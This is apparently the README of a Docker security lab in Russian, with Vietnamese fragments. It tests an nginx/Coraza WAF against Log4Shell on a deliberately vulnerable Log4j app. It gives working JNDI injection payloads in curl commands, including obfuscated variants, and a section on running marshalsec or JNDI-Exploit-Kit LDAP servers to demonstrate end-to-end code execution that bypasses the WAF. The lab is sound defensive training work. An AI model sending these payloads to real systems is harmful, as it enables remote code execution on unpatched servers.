Log4Shell Security Lab — nginx + Coraza WAF

Образовательная / защитная цель: эта лаборатория содержит намеренно уязвимое приложение (Log4j 2.14.1) и набор JNDI эксплойтов, ТОЛЬКО для изучения обнаружения и блокировки Log4Shell в изолированной среде. Не разворачивайте в Интернете и не используйте для атак на системы, которые вам не принадлежат.

Практическая лаборатория по защите от Log4Shell (CVE-2021-44228) с использованием nginx со встроенным Coraza WAF (dynamic module) + OWASP CRS v4 + пользовательские правила JNDI. В комплекте: контейнер с уязвимым Spring Boot приложением, attacker-box на Kali, а также Suricata и Wazuh для наблюдения.

1. Архитектура

Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│   ├── nginx-proxy        ← entrypoint :80/:443, có Coraza module + CRS v4
│   ├── attacker-box       ← Kali + JNDI exploit kits
│   └── suricata-ids       ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
    ├── nginx-proxy        ← second NIC
    ├── log4shell-app      ← Spring Boot Log4j 2.14.1
    ├── wazuh-manager      ← SIEM
    └── wazuh-dashboard    ← UI

Схема запроса: client → nginx (Coraza inspect) → log4shell-app. WAF работает внутри nginx (через модуль ngx_http_coraza_module.so), а не в отдельном контейнере.

2. Требования

Компонент	Минимальная версия
Docker Desktop / Engine	24+ с Compose v2
Свободная RAM	4 ГБ (Wazuh потребляет ~1.5 ГБ)
Свободное место на диске	6 ГБ (артефакты сборки image)
Время первой сборки	10–15 минут (libcoraza + nginx module + Maven attacker tools)

3. Bootstrap — первый запуск

Шаг 3.1 — Сборка образов

cd /path/to/log4shell-nginx-coraza
docker compose build

Самый медленный этап — nginx (сборка libcoraza v1.4.0 с Go 1.25, затем компиляция модуля coraza-nginx). После первого раза кэш сохраняется.

Шаг 3.2 — Запуск стека

docker compose up -d
docker compose ps

Через ~30 секунд ожидаемый статус:

Шаг 3.3 — Smoke-тест

# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"

# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"

curl http://localhost/ без заголовка X-Api-Version вернёт 400 — это ошибка Spring Boot whitelabel (no handler), а не блокировка WAF.

4. Проверка блокировки Log4Shell через WAF

Шаг 4.1 — Базовые payload

# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/

# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/

# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'

Ожидается: HTTP/1.1 403 Forbidden, тело <html>... 403 Forbidden ... nginx ...</html>.

Шаг 4.2 — Обфусцированный payload

# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/

# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/

Шаг 4.3 — Payload в JSON body

curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
  http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)

5. Просмотр логов WAF

Coraza audit log (JSON)

docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
    try:
        d=json.loads(ln)
        t=d['transaction']
        ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
        st=t['response']['status']
        for m in t.get('messages') or []:
            print(f'{st}  {ua}  ::  {m[\"error_message\"][:160]}')
    except: pass
"

Каждое событие в формате JSON Lines содержит:

transaction.is_interrupted: true → WAF заблокировал
messages[].error_message → какое правило сработало, какой файл и строка, severity

nginx access log

docker exec nginx-proxy tail -f /var/log/nginx/access.log

Фильтрация блокировок:

docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'

Пути монтирования на хосте

./logs/nginx/      ← access.log, error.log
./logs/coraza/     ← audit.log (JSON), debug.log

6. Реальная цепочка эксплойта — attacker-box → log4shell-app

По умолчанию backend-net имеет internal: true, а attacker-box находится только в dmz-net, поэтому log4shell-app НЕ может достичь attacker-box. Чтобы цепочка JNDI заработала end-to-end, сначала выполните шаг 6.0.

Шаг 6.0 — Разрешить log4shell-app обращаться к attacker-box

Отредактируйте docker-compose.yml, добавьте attacker-box в backend-net:

  attacker-box:
    networks:
      - dmz-net
      - backend-net    # <— thêm

Либо перенесите log4shell-app в dmz-net (проще, но менее наглядно с точки зрения сегментации):

  log4shell-app:
    networks:
      - backend-net
      - dmz-net        # <— thêm

Применение: docker compose up -d (Compose пересоздаст именно этот контейнер).

Шаг 6.1 — Запуск JNDI exploit-сервера внутри attacker-box

docker exec -it kali-attacker bash
cd /opt/exploits

# Option A: marshalsec — đơn giản, chỉ relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2

# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit

Сервер слушает LDAP :1389 и HTTP :8888 (в compose порты уже проброшены на хост).

Шаг 6.2 — Bypass-тест: прямой вызов приложения (в обход WAF) для подтверждения уязвимости

# Từ attacker-box, gọi thẳng log4shell-app trên backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/

Проверка:

# Pwned marker được tạo trong app container
docker exec victim-app ls -la /tmp/pwned

Если файл на месте → цепочка эксплойта работает, приложение по-прежнему уязвимо, а WAF НЕ обходится при прохождении через основной маршрут.

Шаг 6.3 — Проверка блокировки того же payload через WAF на основном маршруте

# Đi qua nginx (đường chính public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, KHÔNG có /tmp/pwned mới

7. Настройка правил (без пересборки)

Файл ./coraza/config/log4shell-rules.conf смонтирован :ro в nginx по пути /etc/nginx/coraza/log4shell-rules.conf. После изменений:

docker exec nginx-proxy nginx -t      # syntax check
docker exec nginx-proxy nginx -s reload

Если Coraza сообщает об ошибке парсинга (failed to compile the directive...), workers завершатся, и nginx -s reload не сможет их перезапустить. В этом случае:

docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log

Порядок загрузки правил в WAF

Порядок include (в nginx/coraza/main.conf, уже вшит в image):

Engine config: SecRuleEngine On, audit log, debug log
crs-setup.conf — инициализация tx.*_anomaly_score, threshold
owasp-crs/rules/*.conf — весь CRS v4.7.0
log4shell-rules.conf — пользовательские правила (mount с хоста)

Диапазон ID пользовательских правил: 1910001 – 1910999 (вне диапазона CRS 900000–999999).

Ограничения синтаксиса Coraza по сравнению с ModSecurity

Severity принимает только стандартные значения: EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW недопустимы.
Persistent collections (IP:, SESSION:, RESOURCE:) не работают, если не настроено backing store. Используйте tx. для per-request или rate-limit через nginx limit_req_zone.

8. Устранение неполадок

nginx UP, но `(unhealthy)` / `curl localhost` зависает

docker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza

Обычно это из-за синтаксической ошибки в новом правиле → все workers завершаются с кодом 2. Исправьте правило и выполните docker compose restart nginx.

`failed to create WAF: ... unknown severity: HIGH`

Замените severity:'HIGH' → severity:'ERROR' в пользовательском правиле.

`failed to compile the directive "secrule": invalid arguments, expected collection TX`

Правило использует setvar:ip.xxx или ссылается на IP:something / TX:NEVER_DECLARED. Уберите persistent collection или объедините логику в одно chain rule.

Suricata `Exited (1)`

Образ jasonish/suricata:latest имеет собственный entrypoint, и yaml из ./suricata/config/ может не соответствовать версии в образе. Быстрое решение: временно закомментируйте сервис suricata в compose — лаборатория продолжит работать (IDS не требуется для работы Coraza). Для полного решения замените suricata.yaml на стандартный из образа (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).

log4shell-app завершается сразу после запуска

Базовый образ на Alpine 3.8 EOL. Убедитесь, что command в compose — ["java", "-jar", "/app/spring-boot-application.jar"] (БЕЗ apk add iptables — репозитории Alpine 3.8 уже отдают 404).

Wazuh dashboard недоступен по `http://localhost:5601`

Wazuh manager и dashboard требуют wazuh-indexer (OpenSearch) для полноценной работы. В текущем стеке этого сервиса нет — dashboard запустится, но вход не сработает. Когда понадобится по-настоящему, добавьте сервис wazuh-indexer согласно официальному compose.

9. Очистка

# Stop + remove container, giữ image cache
docker compose down

# Nuke all (kèm volume Wazuh, ép rebuild lần sau)
docker compose down -v

# Xoá luôn image build (giải phóng ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box

10. Структура каталогов

log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│   ├── Dockerfile              # multi-stage: libcoraza + coraza-nginx + CRS v4
│   ├── nginx.conf              # load_module + coraza on; ở http{}
│   ├── conf/
│   │   └── default.conf        # reverse proxy → log4shell-app:8080
│   └── coraza/
│       └── main.conf           # engine config + Include CRS + custom
├── coraza/
│   └── config/
│       └── log4shell-rules.conf  # custom JNDI rules, mount :ro vào nginx
├── attacker/
│   ├── Dockerfile              # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│   ├── scripts/
│   │   ├── start-ldap-server.sh
│   │   └── test-payloads.sh
│   └── exploit-classes/
│       └── Exploit.java
├── suricata/
│   ├── config/
│   └── rules/
├── wazuh/config/
└── logs/                        # mount points cho nginx, coraza, app, suricata, wazuh

11. Справочник по ID правил

Диапазон	Назначение	Пересекается с диапазоном CRS?
900000–999999	OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanners, blocking eval)	(принадлежит CRS)
1910000–1910999	Пользовательские правила Log4Shell	Нет

Все существующие пользовательские ID правил: 1910001–1910008 (JNDI patterns), 1910010–1910014 (per-header), 1910015 (alt protocols), 1910020 (scanning detection), 1910026 (JSON body chain), 1910028 (XML body chain), 1910030 (paranoia 3), 1910999 (anomaly evaluation echo).

Заключение: если лаборатория дошла до шага 4, значит WAF работает. Шаг 6 нужен только если хотите продемонстрировать полную цепочку эксплойта end-to-end.

`nginx-proxy`	Up (healthy)
`victim-app`	Up
`kali-attacker`	Up
`wazuh-siem`, `wazuh-web`	Up
`suricata-ids`	может быть Restarting (см. раздел 8 — не блокирует лабораторию)

Популярное

log4shell-coraza